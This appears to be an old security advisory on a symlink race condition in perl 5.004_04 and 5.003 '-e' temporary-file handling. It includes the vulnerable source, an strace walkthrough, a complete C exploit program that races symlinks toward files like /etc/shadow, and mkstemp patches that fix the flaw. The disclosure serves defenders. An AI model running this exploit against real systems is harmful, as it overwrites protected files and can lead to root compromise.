COMMAND
perl 5.004_04
SYSTEMS AFFECTED
Systems running perl 5.004_03 and 5.003 (at least)
PROBLEM
Stanislav Shalunov found following bug. It is similar to the bugs
in gcc and /bin/sort (look for them here) Problem is that perl
open() on temporary files used for `-e' option processing uses
O_TRUNC and does not use O_EXCL.
A race condition exists when executing `perl -e ...'. It can
be used for DOS attacks that will allow deletion of contents of
files that the user executing `perl -e' has write permissions for.
The contents will be replaced with the text of the argument for
`-e' option. This attack could be launched against say
/etc/ftpusers or a similar file in which case it might lead to a
compromise. If the attacker can have some control over the
command being executed via `-e' he can overwrite ~root/.rhosts or
equivalent, but probably the system can be trivially compromised
anyway.
In perl.c we read (comments are from Stanislav):
case 'e':
if (euid != uid || egid != gid)
croak("No -e allowed in setuid scripts");
if (!e_fp) {
/* Copy TMPPATH to a safe location. */
e_tmpname = savepv(TMPPATH);
/* Generate a unique filename. */
(void)mktemp(e_tmpname);
if (!*e_tmpname)
croak("Can't mktemp()");
/* Open this file for writing. */
e_fp = PerlIO_open(e_tmpname,"w");
In perlio.c:
#undef PerlIO_open
PerlIO *
PerlIO_open(path,mode)
const char *path;
const char *mode;
{
return fopen(path,mode);
}
So, we see that a prepared tempname is in fact opened as
fopen (tempname, "w");
which in turn calls
open (tempname, O_WRONLY|O_CREAT|O_TRUNC);
Suppose an attacker knowns that root has `perl -e' in his crontab.
Attacker runs a program which checks /proc (or runs ps a lot) for
processes that are started as `perl -e ...'. (When such a process
is detected, the watching process may spawn a forking bomb each
instance of which allocates a lot of memory and accesses it to
make the machine swap hence possibly increasing the chances of
winning the race.)
$ strace perl -e ''
...
getpid() = 23777
[Attacker notices process 23777 which is "perl -e".]
stat("/tmp/perl-ea23777", 0xbffff850) = -1 ENOENT (No such file or directory)
[Attacker creates symlink /tmp/perl-ea23777 -> /etc/shadow.]
open("/tmp/perl-ea23777", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
[Now /etc/shadow is toast.]
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
[Here Perl should have exited. But alas, my libc isn't good
enough, and Perl proceeds happily overwriting the file.]
...
I have run (after `echo root > /tmp/ftpusers'):
./exploit_perl-e 5; perl -e ''; perl -e ''; perl -e ''; \
perl -e ''; perl -e ''; ls -l /tmp/ftpusers | \
awk '{if ($5 != "5") print "RACE WON"}'
This worked from like 10th attempt. As for exploit, it's trivial.
/* exploit_perl-e -- exploit race condition existing in Perl as of
version 5.004_04.
If one knows that some user is going to execute `perl -e ...'
at some time (for example, it is placed in crontab or is run
from ~/.procmailrc) a standard symlink exploit is possible.
This code is provided for educational purposes only and should
not be run without permission from system administrator of the
machine it is being run on.
Copyright (C) 1998 Stanislav Shalunov */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
/* File to overwrite. */
#define TARGET "/tmp/ftpusers"
/* This should not be changed unless your Perl was compiled with a non-standard TMPPATH. */
#define TMPPATH "/tmp/perl-ea"
/* How long to wait before stopping. */
#define RACE_DURATION 90
char mytarget[32];
/* Clean up and exit. */
void
handler (sig)
{
unlink (mytarget);
exit (0);
}
/* Attack `perl -e' with pid TARGET_PID. Fork a child for this
purpose, return immediately. */
do_race (target_pid)
int target_pid;
{
int pid;
pid = fork ();
if (pid < 0)
return 0;
if (pid)
return 1;
/* Child. */
signal (SIGALRM, handler);
alarm (RACE_DURATION);
sprintf (mytarget, "%s%.5d", TMPPATH, target_pid);
/* fprintf (stderr, "[%d]: attacking %s\n", getpid(), mytarget); */
while (1)
{
symlink (TARGET, mytarget);
unlink (mytarget);
}
}
void
usage (my_name)
char *my_name;
{
fprintf (stderr, "Usage:\t%s [numchildren]\n");
exit (1);
}
main (argc, argv)
int argc;
char **argv;
{
int startpid, pid;
int numchildren = 20;
if (argc > 2)
usage (argv[0]);
if (argc > 1)
numchildren = atoi (argv[1]);
if (! numchildren)
usage (argv[0]);
startpid = getpid () + numchildren + 1;
for (pid = startpid; pid < startpid + numchildren; pid++)
do_race (pid);
exit (0);
}
SOLUTION
This PERL problem was fixed in OpenBSD in early 1997. The correct
fix is to use mkstemp(), which is designed to be (much more)
impervious to these kinds of races. Two patches are appended
below. The first patch is Theo de Raadt original fix for 5.003:
Index: perl.c
===================================================================
RCS file: /cvs/src/gnu/usr.bin/perl/perl.c,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -r1.1 -r1.2
--- perl.c 1996/08/19 10:11:44 1.1
+++ perl.c 1997/01/23 04:31:36 1.2
@@ -337,13 +337,17 @@
if (euid != uid || egid != gid)
croak("No -e allowed in setuid scripts");
if (!e_fp) {
+ int fd;
+
e_tmpname = savepv(TMPPATH);
- (void)mktemp(e_tmpname);
- if (!*e_tmpname)
- croak("Can't mktemp()");
- e_fp = fopen(e_tmpname,"w");
- if (!e_fp)
+ fd = mkstemp(e_tmpname);
+ if (fd == -1)
+ croak("Can't mkstemp()");
+ e_fp = fdopen(fd,"w");
+ if (!e_fp) {
+ close(fd);
croak("Cannot open temporary file");
+ }
}
if (argv[1]) {
fputs(argv[1],e_fp);
This second patch is the one made by Todd Miller when he merged
Theo's fix forward into perl 5.004_04: This is a nicer fix.
--- perl.c.orig Tue Oct 14 12:09:18 1997
+++ perl.c Sun Nov 30 00:48:55 1997
@@ -588,13 +588,17 @@
if (euid != uid || egid != gid)
croak("No -e allowed in setuid scripts");
if (!e_fp) {
+ int fd;
+
e_tmpname = savepv(TMPPATH);
- (void)mktemp(e_tmpname);
- if (!*e_tmpname)
- croak("Can't mktemp()");
- e_fp = PerlIO_open(e_tmpname,"w");
- if (!e_fp)
+ fd = mkstemp(e_tmpname);
+ if (fd == -1)
+ croak("Can't mkstemp()");
+ e_fp = PerlIO_fdopen(fd,"w");
+ if (!e_fp) {
+ (void)close(fd);
croak("Cannot open temporary file");
+ }
}
if (*++s)
PerlIO_puts(e_fp,s);